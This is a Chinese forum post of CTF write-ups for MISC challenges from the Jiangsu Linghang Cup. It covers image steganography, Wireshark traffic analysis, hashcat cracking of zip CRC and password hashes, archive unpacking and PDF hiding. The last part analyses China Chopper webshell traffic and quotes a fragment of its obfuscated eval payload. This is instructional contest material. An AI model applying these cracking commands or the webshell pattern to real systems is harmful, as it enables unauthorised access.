2021、2022、2023年江苏省“领航杯”_CTF竞赛_MISC/WEB—部分WP ...

打印 上一主题 下一主题

主题 871|帖子 871|积分 2613

一、媒介

都是网络来的往届领航杯赛题(2021,2022,2023等等),主MISC、副WEB、MISC附件已打包至下面"123网盘",当然题目相对应工具也同样云云,至于WEB很多做法不一,这里也仅供参考,网络不易,点个赞吧~
工具及附件分享

《123网盘下载》
   https://www.123pan.com/s/q2J1jv-I1Jvd
提取码:0905
  二、MICS

1、MICS-小明的困惑

题目描述:
小明收到一个图片,你能帮他找找都隐藏了什么吗?flag格式为找到的信息内容的md5值。CnHongKe{md5值}格式提交
解题思绪
下载附件得到一个压缩包,解压得到一张“misc_photo.png”;
“misc_photo.png”

咋一看又是以“png”结尾的图片隐写,盲猜宽高多少都有点题目,那待会我们丢进“Kali”简单分析一下;
在“Kali”中图片不显示,那就石锤宽高确实有题目,待会我们修改一下;

那既然在图片在“Kali”中,我们也趁便直接“binwalk”简单分析一下看看内里有没有藏什么东西;
下令;
  1. binwalk misc_photo.png
复制代码
得到;

从这内里我们不难看出,确实隐藏了一个“zip”也就是压缩包在图片中,那同样的我们也直接使用;
下令;
  1. binwalk -e misc_photo.png  --run-as=root
复制代码
得到;

也是成功分离出了一个需要暗码的压缩包,好像内里还有“flag.txt”(这里我们也不能确定就是最终的flag);

尝试爆破了一下差点没给我电脑干死机,那没折了,我们返回先前谁人宽高有题目的“misc_photo.png”,简单修改一下宽高看看有没有什么提示给我们;
“修改宽高”

最后“Ctrl+s”保存退出,右键选择打开方式为“绘图”即可;

哎,确实有发现像压缩包的暗码,但是提交发现不正确,这时候仔细观察这个可能是暗码的有“-”以是猜测可能还有后半段,那就直接在上一套基础MICS操作;
半段暗码:find_st

最后折腾来折腾去,也是在“kali”中使用了“zsteg”才发现了后半段暗码,那这时候没打仗过“zsteg”的师傅可能就有疑问了,什么是“zsteg”为什么可以查出图片中的隐写?不要紧我们这里就一起来简单分析一下“zsteg”;
什么是“zsteg”?有什么用?
   简单来说就是zsteg 是一个用于图像隐写分析的工具,重要用于检测和提取 PNG 和 BMP 图像中的隐藏数据。它能够自动检测各种隐写技术,如 LSB 隐写,常用于 CTF 比赛和网络安全范畴中的隐写题目。
  zsteg 的功能与用途

  • 隐写检测

    • zsteg 能够扫描图像文件的差别数据层,检测是否有通过隐写技术隐藏的信息,尤其是低位隐写 (LSB Steganography)。
    • 支持对颜色通道和位平面的细粒度查抄,尝试从每个通道中提取匿伏的隐藏数据。

  • 多种解码方式

    • zsteg 支持多种解码格式,包括 ASCII、Base64、Hexadecimal 等,能够直接提取并解码隐藏的文本或数据。

  • 支持多种隐写方法

    • 除了常见的 LSB 隐写技术外,zsteg 还支持对多种隐写方式的分析,包括 RGB 通道内的复杂嵌入方式。

  • 批量查抄

    • zsteg 能够快速对整个图像文件的多个差别位置和通道举行批量检测和分析,从而找出隐藏的数据。

zsteg 的典型使用场景


  • CTF 竞赛:在比赛中,zsteg 是解密隐写图像的重要工具。当选手遇到隐写题目,尤其是 PNG 或 BMP 图像时,zsteg 可以用来快速发现和提取隐藏的数据。
  • 数字取证:在网络安全范畴,zsteg 可用于检测图像文件中的匿伏隐匿信息,资助分析人员识别软件或我们通过图像传输的隐藏内容。
常用下令
使用 zsteg 举行隐写分析非常简单,基本下令如下:
  1. zsteg -a image.png  # 对 image.png 进行全面隐写扫描
复制代码
解析
-a 参数表现自动扫描,zsteg 将尝试各种可能的隐写方式来分析图像中的隐藏内容。
总结
zsteg 是一款强大的隐写分析工具,专门针对 PNG 和 BMP 图像的隐写检测与数据提取,在 CTF 竞赛和数字取证中非常有效。它通过扫描图像的每个数据层和通道,资助用户快速发现息争码隐藏的信息。
这里我也没想到既然能藏这么深,使用了“zsteg”才找出,不过方法不唯一,前面既然说了“LSB”隐写,以是这里我们还可以使用“Stegsolve”来查找;
如图下;

仔细观察也是可以发现滴,不过这个就比力磨练眼里了嘛,以是组合起来的暗码就是;
暗码:find_steg_information
这时候我们再去打开谁人有锁的压缩包,发现成功打开,解压得到一个“flag.txt”,内容如下;
“flag.txt”

内里既然没有找到flag,那没办法老规矩“文本txt”隐写也不是没有,直接来上一套你会发现啥也没有发现,那就没办法了,我们仔细观察一下这一整个文本,会发现有一个规律,段落存在不一样的,有一行隔断和两行隔断,那我们对其简单总结一下;
“隔断一行与两行”

最后统计得出;
  1. 1211112212212221121121111122111112212221112221121211212212211212
复制代码
那这时候就要磨练各人的脑洞了,如果想不到那就是想不到了,毕竟人家是“MISC”嘛也算正常对吧,那有“MISC”不抽象的?这时候我们将“1”更换成“0”,“2”更换成“1”,最后的最后直接找一个“hex”在线解码即可
转换得到;
  1. 0100001101101110010010000011000001101110001110010100101101100101
复制代码
在线字符串二进制转换

可能这时候有的师傅就以为竣事了是吧?哎,还没有仔细检察要求:CnHongKe{md5值}格式提交
以是这里我们又找一个MD5在线加密网站
MD5在线加密

至此;
  1. CnHongKe{62912e0cb10240c1f323c719b7ec5706}
复制代码
2、MICS-流量分析

题目描述:
流量分析是溯源取证的重要途径,对流量举行分析,发现隐藏的信息。
解题思绪
下载附件得到一个流量包,反手丢到“Wireshark”中举行分析;

那这里可能很多师傅是第一次打仗MICS“流量分析”这种范例的题目,那下面我就来简单说一下,遇到这种MICS的“流量分析”我们应该从什么地方开始下手!
   往简单的来说,在 CTF 比赛中,流量分析类题目(通常以 pcap 文件为主)是常见的 MISC 题型之一。这类题目通常观察选手对网络协议的理解、流量分析工具的使用以及数据提取的能力。以下是流量分析题目的一般解题步调:**
  

  • 审题


  • 在解题之前,仔细阅读题目,寻找题目中给出的线索。比如题目描述中可能会提到某种协议、加密信息、登录过程等,资助我们锁定分析方向。

  • 工具准备
常用的流量分析工具有:


  • Wireshark:最常用的网络数据包分析工具,可以用于检察 pcap 文件的每个数据包。(这个基本就是最常用的了)
  • tcpdump:下令行抓包工具,适用于简单的流量检察。
  • tshark:Wireshark 的下令行版本,可以对大规模数据包举行快速处置惩罚。

  • 导入文件和开端分析


  • 使用 Wireshark 打开 pcap 文件,举行开端的流量分析。

    • 检察捕获的流量统计信息:可以通过 Statistics > Protocol Hierarchy 大概 Statistics > Conversations 来检察差别协议的使用环境和通信两边的环境。(俗称“协议分级”)
    • 观察流量的时间轴:从时间轴可以看到流量的发送顺序,找到通信的关键时间点。


  • 分析通信协议


  • 过滤协议:根据题目线索,使用 Wireshark 的过滤功能对流量举行筛选。

    • 例如,如果题目提到的是 HTTP 协议,可以通过 http 过滤器检察 HTTP 流量。
    • 如果是加密流量(如 HTTPS、TLS),则需要关注加密的上下文或尝试抓取未加密数据。

  • Follow Stream:在 Wireshark 中,如果发现某个通信流有趣,可以右键选择 Follow > TCP/UDP/HTTP Stream 来检察该流的完整通信内容。(这就是我们常说的右键"http"流追踪)

  • 提取和分析数据


  • 根据流量范例举行相应的数据提取:

    • 文件传输:如果流量中涉及文件传输协议(如 FTP、TFTP、HTTP 等),可以提取文件内容。
    • 图像或文本数据:偶然流量中会隐含图像或文本,通过数据包可以直接导出。
    • 解密流量:如果存在加密流量(如 SSL/TLS),可以通过一些解密工具大概提前共享的密钥来解密。
    • 重组流量:部分流量需要重组(如多个分片或乱序包),可以在 Wireshark 中使用相关功能。


  • 查抄非常行为


  • 找非常的通信:看是否有非常端口、IP 或协议流量出现,通常可以从生疏的协议或端口下手。
  • 敏感信息泄漏:如果流量包含登录信息,检察是否有明文传输的用户名、暗码等。

  • 寻找 Flag


  • 在流量分析过程中,特别注意文本信息、相应中的数据包或文件中可能包含的 flag,通常以 flag{} 或类似格式呈现。(内里还非常喜欢藏压缩包,注意分辨即可)
  • 还可以搜索“常见的 CTF flag 格式”(例如 flag{)来缩小寻找范围。

  • 提取文件或隐藏信息


  • 提取文件:偶然候流量题可能包含文件传输协议,可以通过 File > Export Objects > HTTP 等功能提取文件。(这就是“导出对象”)
  • 隐写或编码信息:flag 偶然候会被隐藏在传输的数据或图像中,可能需要进一步的隐写分析或编码解密。

  • 总结思绪


  • 通过渐渐筛选协议、分析数据包、提取文件或敏感信息,最终找到题目要求的答案。
常见流量分析题型:


  • HTTP 流量分析:从 HTTP 请求/相应中提取数据、文件或登录凭据。
  • DNS 隧道分析:查抄 DNS 请求中是否有隐藏的信息或通信。
  • 文件传输流量:提取通过 FTP、TFTP 或其他协议传输的文件。
  • 加密流量分析:解密加密流量,通常需要用到 SSL/TLS 解密技巧。
  • 非常流量检测:识别流量中的恶意通信或数据包。
总结
流量分析题的解题流程大抵分为:审题、导入文件、开端分析、过滤协议、数据提取和寻找非常。熟练掌握 Wireshark 和其他流量分析工具可以有效进步解题速度。
那这里给出的“题目描述”说的基本等于没说,以是这里我们直接先检察一下“协议分级”;
统计–>协议分级

得到;

不难看出“IPV4”下面的“TCP”以及“HTTP”较多,还还不难看出“HTTP”中肯定还传输了什么文件“Data”,以是我们直接右键选中“HTTP”下面的“Data”简单分析一下看看它传输了什么,一般这种就是我们的突破点;
作为过滤器应用—>选中

得到;

这样一筛选一共也没多少条数据包了,我个人比力喜欢按照数据包的大小举行排序来检察,以是这不最大的一个数据包就看见了含有“zip”,这八成铁定是个压缩包,就是不知道内里藏着什么东西,以是我们直接选中右键“追踪流”—"HTPP"即可;

但是我们不从这里导出,由于这个包的数据不完整,即使导出了而且删掉头留下“PK”,那也是打不开的压缩包没有效,那这里我们也懒得找了,既然知道它“HTTP”传了一个压缩包那我们直接选择右上角文件—>导出对象—>HTTP,按照这个步调来,就可以看见它传输的文件内容;
文件—>导出对象—>HTTP

得到;

这边我也是简单按“文件大小”排了个序,刚刚好最大谁人也是刚刚我们前面看见的“zip”,那在这里我们在“选中文件”,点击保存,保存格式为“.zip”结尾(只有这样我们导出的压缩包才算是完整的,当然这样也是最方便的,要不然你还得去那么条数据中找到谁人完整的“zip”);
保存完之后,打开方式选择“010”打开并编辑压缩包,由于压缩包的前面还有一些沉余数据,我们选中删除接着“Ctrl+s”保存即可;

“Ctrl+s”保存,正常打开即可;

得到;

发现需要暗码,然后下意识的就想返回流量包中继续寻找,但是仔细观察压缩包中会发现有两个“pwd”,这很明显是两个暗码,以是可能就是这两个暗码组合就是这个压缩包暗码,但是我们又不能取出来,这时候使用“WINRAR”打开发现两个“txt文档”的字节是小于18的,以是我们可以使用工具爆破工具“hashcat”,这里可能有的师傅第一次打仗“hashcat”,以是待会我们一起说明一下;
什么是“hashcat”?
   简单来说Hashcat 就是一个广泛使用的暗码破解工具,支持多种暗码哈希算法和攻击模式。它通常用于暗码哈希的破解,例如 MD5、SHA1 等,但也可以用于爆破加密的压缩包。具体来说,Hashcat 在面对加密的 ZIP 文件或其他压缩包时可以用来举行暴力破解或基于字典的攻击。
  Hashcat 爆破压缩包的适用场景
Hashcat 适用于破解的场景重要包括以下两种环境:

  • ZIP 文件被暗码加密

    • 当一个 ZIP 文件被设置了暗码来保护其中的内容时,如果我们不知道暗码但想获取文件内容,可以使用 Hashcat 举行暗码破解。Hashcat 支持通过暴力破解或字典攻击找到正确的暗码。

  • RAR 文件的暗码破解

    • 和 ZIP 类似,RAR 文件也支持暗码保护,Hashcat 也能用于 RAR 文件的暗码破解。

使用 Hashcat 爆破压缩包的步调

  • 准备 Hashcat 和加密文件

    • 首先,确保我们已经安装了 Hashcat,而且有一个需要破解的加密 ZIP 文件。

  • 提取压缩包的哈希值

    • Hashcat 本身并不能直接读取压缩包来举行破解,需要先通过一些工具提取加密的压缩包中涉及到的哈希值。比如使用 zip2john 或 rar2john 工具,这些工具可以从 ZIP 或 RAR 文件中提取与暗码相关的哈希,并生成 Hashcat 可以使用的输入文件。
      1.   zip2john encrypted.zip > hash.txt
      复制代码
    大概对 RAR 文件使用:
    1. rar2john encrypted.rar > hash.txt
    复制代码

  • 使用 Hashcat 破解

    • 提取出哈希值之后,可以使用 Hashcat 来举行破解:
      hashcat -m 13600 hash.txt wordlist.txt
    其中:
       

    • -m 13600:表现使用 ZIP 压缩文件的暗码破解模式。
    • hash.txt:是之前提取的 ZIP 文件的哈希。
    • wordlist.txt:是暗码字典文件,可以使用暴力破解或自定义的暗码列表。

  • 等待破解结果

    • Hashcat 会基于提供的哈希值和字典文件举行破解,成功时会显示找到的暗码。我们可以使用这个暗码解压加密的 ZIP 文件。

Hashcat 爆破压缩包的常见攻击模式

  • 字典攻击

    • 使用预先准备好的字典文件,依次尝试每个暗码。适用于当我们有可能的暗码集合时使用。

  • 暴力破解

    • Hashcat 支持通过暴力破解(尝试所有可能的暗码组合),但这个过程可能非常耗时,尤其当暗码复杂且长度较长时。

  • 组合攻击

    • Hashcat 允许通过组合字典中的词汇,大概通过规则对字典中的单词举行变化,来进步破解成功的几率。

总结
Hashcat 可以用于破解加密的压缩包文件(例如 ZIP 和 RAR)。我们可以先使用 zip2john 或 rar2john 提取压缩包的暗码哈希值,然后使用 Hashcat 通过字典或暴力破解的方式寻找正确的暗码。这在忘记暗码或需要获取加密文件内容时是一个有效的方案。
hashcat官方下载链接
   注意!!从hashcat官网(https://hashcat.net/hashcat/)下载所需版本 当前最新版本为V6.2.6 ,
binaries为直接安装使用版本
sources需要编译后安装。
下载完成后,解压安装包即可在下令行使用,hashcat无图像化界面,所有下令通过cmd执行
  推荐

下载并解压完毕,我们将刚刚导出的压缩包移动到刚刚解压出“hashcat”的目录下,接着在当前目录下唤出cmd终端即可;

当然我们在使用下令破解压缩包时,那首先肯定是要知道压缩包的CRC值,那什么是所谓的“CRC值”呢?
什么是压缩包的CRC值?
   简单来说实在就是压缩包的 CRC(Cyclic Redundancy Check)值 是一种用于验证文件完整性的校验值。在压缩文件中,尤其是像 ZIP 格式的压缩包,每个被压缩的文件都会生成一个 CRC 值,用于确保文件在传输或存储过程中没有被破坏。
  CRC 值的作用:

  • 校验数据完整性:CRC 是一种错误检测机制,用于判断文件在压缩、解压或传输过程中是否被篡改或破坏。每个文件压缩后,都管帐算其内容的 CRC 值并将其存储在压缩包的文件头中。
  • 解压时验证:当用户解压文件时,解压工具会重新计算解压后的文件内容的 CRC 值,并与压缩包中存储的原始 CRC 值举行比力。如果两个值雷同,说明文件没有被破坏;如果不匹配,则意味着文件内容可能已破坏。
CRC 在破解压缩包中的作用:
在破解加密压缩包时,特别是在暴力破解暗码的过程中,CRC 值可以资助确认破解是否成功。如果解压后文件的 CRC 校验通过,说明暗码正确,解压出的文件是完整的。否则,即使暗码能解压出文件,文件可能照旧破坏的。
CRC 值的特点:


  • 32位校验码:通常为一个 32 位的无符号整数。
  • 快速计算:CRC 的计算算法简单高效,因此广泛应用于文件压缩、网络传输等场景。
  • 错误检测能力强:CRC 能有效检测多种范例的错误,比如单个比特的翻转、突发错误等。
CRC 值在 ZIP 文件中的表现:


  • ZIP 文件中,CRC 值通常出现在每个压缩文件的文件头中,用来标识该文件的内容。如果解压时 CRC 值不匹配,解压工具会报错或警告,表现文件可能破坏。
因此,CRC 值在压缩包中起到了文件完整性验证的关键作用,确保文件解压后没有发生破坏或数据丢失。
这里我们使用“WINRAR”来举行检察压缩包的CRC值;

以是我们使用下令;
  1. ./hashcat -m 11500 -a 3 F6151584:00000000 ?a?a?a?a?a --keep-guessing -- potfile-disable -D 1
复制代码
下令解析
首先可以肯定就是这个下令是使用 Hashcat 来破解使用暗码保护的压缩包的暗码。

  • ./hashcat


  • Hashcat 的执行下令,表现正在调用 Hashcat 工具。

  • -m 11500


  • 模式 11500:表现使用 ZIP 压缩文件的暗码破解模式。11500 是 Hashcat 中预定义的模式编号,用于指定针对 ZIP 文件的加密算法。

  • -a 3


  • 攻击模式 3:表现使用 暴力破解(Brute-Force Attack)。攻击模式 3 指定了暴力破解,而不是基于字典或其他方式的攻击。

  • F6151584:00000000(就是我们之前取文档“pwd1.txt”CRC值)


  • 哈希值:F6151584:00000000 是从 ZIP 文件中提取出的加密哈希值,前者是文件名对应的部分哈希值,后者是与加密相关的部分。

    • 这个哈希值通常由 zip2john 工具生成,用于 Hashcat 的破解。


  • ?a?a?a?a?a


  • 暗码格式:?a 是 Hashcat 中的通配符,表现可以尝试 所有字符集(包括小写字母、大写字母、数字、特别符号等)。这里表现要尝试长度为 5 的所有可能暗码组合(5 个字符的位置,每个位置上可以是任何字符)。

  • --keep-guessing


  • 连续猜测:即使 Hashcat找到一个正确的暗码,它也不会停止,而是会继续猜测更多可能的暗码。

  • --potfile-disable


  • 禁用 potfile:potfile 是 Hashcat 用来记录成功破解的暗码的文件。如果启用了 potfile,Hashcat 会在下次运行时跳过已经破解的哈希值。--potfile-disable 表现禁用这个功能,即不会保存破解结果。

  • -D 1


  • 装备范例:-D 用于指定破解时使用的装备。1 表现使用 CPU 举行破解。如果机器支持 GPU 加速,也可以使用 -D 2 来使用 GPU 加速。
总结:
这个下令表现使用 Hashcat 的 ZIP 文件暗码破解模式(模式 11500)举行暴力破解,尝试所有字符(小写字母、大写字母、数字、特别符号等)构成的 5 位暗码。下令禁用了 potfile,而且将使用 CPU 举行计算。如果找到暗码,Hashcat 会继续举行猜测。
很快结果就出来了,得到三个可能,临时还不确定,我们继续使用“hashcat”破解下一个;

得出三种可能;
  1. pwd1.txt
  2. CRC32
  3. 3n26b
  4. /!n7v
复制代码
继续使用下令;
  1. ./hashcat -m 11500 -a 3 D7057C36:00000000 ?a?a?a?a?a --keep-guessing -- potfile-disable -D 1
复制代码
下令解析同上,这里就改了一个“pwd2.txt”的CRC值,别的无变化;

也是得出四种可能;
  1. pwd2.txt
  2. _saFe
  3. ~-q/)
  4. C<=Gq
  5. bb-.=
复制代码
尝试拼接,一个一个来,首先就是:CRC32_saFe
成功;

“pwd1.txt”

“pwd2.txt”

“news.docx”

这边我缩小来举行分析,Ctrl+A全选的时候,发现了一个很可疑的地方,图片背面有一个玄色的框框,此时我们删除表面上的图片,又得到一个二维码,扫码最后得出flag!

使用专业扫码工具”QR_Research“扫码得出flag;

至此;
  1. flag{266a894e27a7ce74cdebc72aec7d0703}
复制代码
3、MISC-神奇的压缩

题目描述:
差别的压缩格式有什么区别,压缩一个小文件举行N次压缩文件怎么会越来越大,你能挑战压缩包套娃么
解题思绪
下载附件得到一个压缩包,解压得到两个文件“readme.txt”及空缺文件“2”,那我们来一起分析一下这两个文件有什么特别之处;
“readme.txt”

“2”

临时没有看出什么,那这里我们可以使用“Liunx”来识别一下空缺文件“2”是什么范例的文件;
下令
  1. file 2
复制代码
得到

那这里我们就继续,根据得到的文件格式,继续解压,直到解压失败为止,读取每一轮解压文件中的readme.txt
那这里我们可以写一个自动化解压缩的脚本,适用于差别的压缩文件范例,而且会在解压之后清算原始文件。
  1. for ((i=1;i<501;++i))  # 循环从1到500次
  2. do
  3. an=`file $i`  # 使用 file 命令检测文件类型,结果保存在变量 an 中
  4. if [[ "$an" =~ .*"7-zip".* ]]; then  # 如果文件类型包含 "7-zip"
  5.     7z e $i && rm $i  # 使用 7z 解压文件,解压后删除原始文件
  6. elif [[ "$an" =~ .*"bzip2".* ]]; then  # 如果文件类型包含 "bzip2"
  7.     tar xvjf $i && rm $i  # 使用 tar 解压 bzip2 格式文件,解压后删除原始文件
  8. elif [[ "$an" =~ .*"gzip".* ]]; then  # 如果文件类型包含 "gzip"
  9.     tar xvzf $i && rm $i  # 使用 tar 解压 gzip 格式文件,解压后删除原始文件
  10. elif [[ "$an" =~ .*"XZ".* ]]; then  # 如果文件类型包含 "XZ"
  11.     mv $i $i.xz; xz -d $i.xz; tar xvf $i && rm $i  # 将文件名后缀改为 .xz,解压后删除原始文件
  12. elif [[ "$an" =~ .*"Zip".* ]]; then  # 如果文件类型包含 "Zip"
  13.     unzip $i && rm $i  # 使用 unzip 解压文件,解压后删除原始文件
  14. fi
  15. cat readme.txt && rm readme.txt  # 输出解压后目录中的 readme.txt 文件内容,并删除 readme.txt
  16. done  # 结束循环
复制代码
简单分析一下;

  • 文件循环处置惩罚:脚本会遍历 1 到 500 的所有文件。
  • 文件范例检测:使用 file 下令检测文件范例并存储结果。
  • 条件解压:根据文件范例差别,分别调用相应的解压工具,如 7z、tar、unzip 等。
  • 删除源文件:在解压成功后,原始的压缩文件会被删除。
  • 读取并删除 readme.txt:每次解压完毕后,读取 readme.txt 文件内容并删除它。
那具体需要我们怎么操作呢?首先在“Kali”中创建一个“123.sh”的文件,接着把我们刚刚写吼的脚本粘贴到内里“Ctrl+s”保存即可,再然后新建一个新的”123.txt“用于保存我们脚本输出的关键信息,这里需要注意的是“2”及”readme.txt“文档是需要跟我们的脚本在同一目录下;
什么是“.sh”文件?
   简单来说.sh 文件是 Shell 脚本文件,重要用于在基于 Unix 的系统(如 Linux、Kali Linux)中运行一系列下令。它通常包含了 Shell 下令、变量、控制布局(如 if、for 循环等)以及其他系统任务的自动化脚本。
  Shell 脚本的特性


  • 自动化任务:通过 Shell 脚本,你可以自动化一些重复性的任务,例如备份、更新、文件操作等。
  • 解释性语言:不像编译语言(如 C 或 Java),Shell 脚本是通过解释器逐行解释执行的(常用的 Shell 解释器包括 Bash、sh 等)。
  • 扩展性:Shell 脚本可以执行系统下令,也可以通过组合多个下令实现复杂的任务。
.sh 文件的布局
一个典型的 Shell 脚本文件布局如下:
#!/bin/bash # 这是一行注释,开头的 # 是注释符号 # 输出 "Hello, World!" 到终端 echo "Hello, World!"


  • #!/bin/bash:这是 Shebang(文件解释器声明),告诉系统用哪个解释器来执行脚本。这行告诉系统使用 /bin/bash 来解释脚本。
  • echo "Hello, World!":这是 Shell 下令,用来在终端输出文本。
常见用途


  • 自动化文件处置惩罚、系统监控、网络任务
  • 安装和卸载程序
  • 执行备份任务
  • 批量处置惩罚下令
简单来说,.sh 文件是用于执行一组 Shell 下令的脚本文件,在 Kali 和其他 Linux 系统中广泛用于自动化和批处置惩罚任务。
齐备准备就绪,右键唤出终端;

使用下令;
  1. bash 123.sh > 123.txt
复制代码
简单分析;

  • 执行脚本:bash 123.sh 运行名为 123.sh 的脚本文件。
  • 重定向输出:> 123.txt 将脚本的标准输出(stdout)重定向到文件 123.txt 中。这意味着,脚本执行过程中产生的所有输出将被写入到 123.txt 文件,而不是显示在终端上。
总结:这个下令将 123.sh 脚本的所有标准输出保存到 123.txt 文件中。

至此;
  1. flag{2967b239aea9c72e93279ac06a92fb1f6438a66c}
复制代码
4、MICS-SecertData

题目描述:
从网络中捕获一个可疑数据包,请分析其中隐藏的数据。
解题思绪
下载附件得到一个“a294a59a-e89e-4680-8d23-ba574bfccfb1.secret_data”,也不知道是啥文件,丢进“kali”使用“file”简单举行检察一下;

白看,那没办法,我们使用十六进制编辑器“010”举行简单分析一下;

上来就看见“50 4B 03 04”压缩包开头不过这个好像被逆序了,临时不确定我们继续往下分析一下;

翻到最底下,可以确认的是这就是一个压缩包,而且压缩包内里还存在一个“xlsx文件”,实在“xlsx”文件本质实在就是zip压缩包,以是我们直接写一个八位一逆的脚本,简单的举行逆序一下;
脚本如下(Python)
  1. # 打开名为 'secret_data' 的文件,以二进制读模式 ('rb') 读取内容
  2. f = open('secret_data','rb')
  3. data = f.read()  # 读取文件中的所有数据
  4. f.close()  # 关闭文件
  5. d = bytearray()  # 初始化一个空的字节数组,用于存储处理后的数据
  6. # 遍历数据,每次处理8字节
  7. for i in range(0, len(data), 8):
  8.     # 取出8字节数据,并将其反转后添加到字节数组 d 中
  9.     d.extend(data[i:i+8][::-1])
  10. # 打开名为 'flag.zip' 的文件,以二进制写模式 ('wb') 打开
  11. f = open('flag.zip','wb')
  12. f.write(d)  # 将处理后的数据写入文件
  13. f.close()  # 关闭文件
复制代码
简单分析一下

  • 读取文件:脚本首先读取名为 secret_data 的二进制文件中的所有数据。
  • 数据处置惩罚:将数据按每8字节分割,并将每一块数据反转,然后拼接成一个新的字符串 d。
  • 写入文件:将处置惩罚后的字符串 d 以二进制模式写入名为 flag.zip 的文件中。
脚本的目的是对原始数据举行块处置惩罚和反转操作,然后将结果保存到新文件中。
运行得到;

我们打开“flag.txt”确实如我们之前所想是一个表格;

这时候解压打开表格,发现关键;
“Sheet1”无任何发现

“Sheet2”发现flag,不过发现需要暗码,这时候掏出我们的工具“PasswareKitForensic”专门破解表格暗码的工具;
“PasswareKitForensic”工具简介
   Passware Kit Forensic 是一个用于计算机取证和数据规复的强大工具。它重要用于资助执法机构、企业安全团队以及取证专家从各种装备中提取、解密和分析数据。以下是 Passware Kit Forensic 的一些重要功能和特点:
  重要功能:

  • 暗码破解

    • 文件暗码规复:可以破解或规复加密文件(如 Microsoft Office 文档、PDF 文件等)的暗码。
    • 加密硬盘解锁:支持多种加密硬盘技术,包括 BitLocker、TrueCrypt 和 VeraCrypt。

  • 数据提取

    • 内存分析:从计算机内存中提取暗码和其他敏感信息。
    • 文件和文件系统分析:提取文件、文件系统和分区信息,支持从差别范例的存储装备中获取数据。

  • 自动化和批量处置惩罚

    • 自动化规复:使用自动化工具批量处置惩罚和规复数据。
    • 任务调度:可以设定任务调度以便在指定时间或条件下自动执行取证任务。

  • 支持广泛的格式和装备

    • 支持多种文件格式和操作系统,包括 Windows、macOS 和 Linux。
    • 兼容多种存储介质,如硬盘、SSD、U盘等。

  • 用户友好的界面

    • 提供图形用户界面(GUI)以简化操作,方便用户举行数据规复和分析。

  • 报告生成

    • 能生成具体的取证报告,记录分析过程和规复结果,便于后续检察和法律程序。


检察具体信息;

使用“PasswareKitForensic.exe”暴力破解得到;

暗码:DHMZWAQWZDFMRJQ

最后全选右键点击“取消隐藏即可看见”;

至此;
  1. flag{658f1080a2ed0a8109153799c6f30128}
复制代码
5、MISC-我要这key有何用

题目描述:
光有钥匙可不行,还要有锁啊
解题思绪
下载得到一个“PDF”格式文件,打开是一片金刚经;
“821f1bdc-7fd8-4fd7-8acf-e55e3e33859d.pdf”

这题可以来说是一题比力新的“PDF”隐写,那这里我们充分使用题目给出的提示“光有钥匙可不行,还要有锁啊”,以是我们直接在“PDF"中“Ctrl+f”查找“key”;

发现每一页的背后都藏有东西,这里我们直接“Ctrl+c”直接复制到“txt”文档中看看是什么;
最后零零散散复制到的;

这里复制的时候发现虽然每一页都有东西,但是每一页的都是重复的,以是这里我们拼起来就是;
  1. key:y0u_cAn_n0T_sEe_Mekey y0u_cAn_n0T_sEe_Me
复制代码
但是光有钥匙确实也没有效啊,于是又开始了漫长的寻找,终于也是在“kali”中使用“strings”来举行分析“PDF”的时候有关键发现;
下令;
  1. strings 123.pdf |grep flag
复制代码
得到;

既发现了“flag.txt”又发现了“flag.rar”,那这时候肯定是想办法给整出来啊,那这里我们直接尝试一下修改扩展名为“123.rar”试试看能不能直接解压;

果然不出我们所料,它是直接可以提取的,那为什么会这样呢?由于之前在使用“010”分析“PDF”的时候偶然发现了它的文件头既然是;
更具体一些解释为;
将文件的扩展名从 .pdf 改为 .rar 可能会使压缩包看起来像是一个 RAR 文件,但这并不会改变文件的现实内容或布局。

  • 文件内容并未改变
扩展名只是文件名的一部分,用于告诉操作系统和应用程序文件的范例。改变扩展名不会现实改变文件的内容或布局。例如,将 .pdf 文件改为 .rar,文件内部仍旧是 PDF 格式的数据。因此,某些压缩软件可能仍旧可以尝试读取它,即使它不是一个有效的 RAR 文件。

  • 压缩软件的容错性
一些压缩工具(例如 WinRAR、7-Zip 等)具有肯定的容错能力,它们可以处置惩罚一些格式不完全符合规范的文件。在某些环境下,它们可以尝试读取文件内容,即使文件扩展名不匹配。这是由于这些工具可能会基于文件的现实数据而不是文件名来识别文件格式。

  • 文件头信息
文件的现实格式是由其头部信息(文件署名)决定的,而不是仅仅由扩展名决定的。如果一个 .pdf 文件的开头部分仍旧保留了 PDF 文件的标识,那么某些压缩工具可能会尝试读取它,即使扩展名被更改为 .rar。

  • 文件操作和测试
偶然候,将文件扩展名更改为其他格式只是为了测试软件的行为大概验证工具的容错能力。这种操作不会改变文件的现实数据,只会影响文件的识别方式。
总结:
   扩展名的修改不会现实改变文件的内容或布局。如果你将 .pdf 文件的扩展名改为 .rar,文件内部的数据仍旧是 PDF 格式的。这就是为什么在更改扩展名后,压缩软件仍旧可能尝试打开它,但这并不意味着文件内容真正符合 RAR 格式。
  

以是拿着钥匙打开压缩包得到;

至此;
  1. flag{d3fb34ef4a53552f3e4706351c9306a9}
复制代码
6、MICS-黑客流量分析

题目描述:
服务器网站被入侵了,植入了一个变异的shell,对入侵流量举行分析,寻找蛛丝马迹,变异shell的菜刀连接木马即为flag。
解题思绪
下载附件得到一个压缩包,解压得出一个“2.pcapng”,根据题目提示,我们直接丢进“Wireshark”中举行分析;

那题目描述既然都说了植入了一个变异的“shell”,那我们直接逮着“HTTP”,由于想植入也就只有可能从“HTTP”中上传进入;

不难看出有几个“webshell”照旧比力明显的,那我们一个一个右键“HTTP”举行分析;

这边最终也是在包大小为“1107”中发现了关键,这一段流量实在也是“Apache”的菜刀流量,那是怎么辨别出来的呢?
   简单来说这段就是典型的“菜刀(China Chopper)”的流量片断。菜刀是一款被黑客广泛使用的后门工具,通常用于远程控制服务器,并在目的系统上执行下令。这种流量通常表现在 POST 请求中,通过对通报的下令举行编码息争码,绕过防火墙或入侵检测系统 (IDS/IPS)。
  怎样识别这是 Apache 的“菜刀”流量:

  • 编码伎俩:这段流量使用了 base64 编码和 strrev(字符串反转)函数,这是典型的“菜刀”在传输过程中举行混淆的伎俩。通过这种编码方式,我们可以躲避安全装备的检测:

    • cmd=%24_%3Dstrrev%28edoced_46esab%29%3B%40eval... 是一个 base64 编码的 eval() 调用,试图执行传入的下令。
    • edoced_46esab 反转后是 base64_decode,表明通报的参数将举行 base64 解码。

  • eval() 函数:eval() 函数会在服务端执行传入的 PHP 代码,这也是菜刀常用的特性。它通过将我们通报的下令解码后直接执行。

    • 例如这段:@eval($_(...)); 就是用来执行通报的 base64 编码后的 PHP 下令。

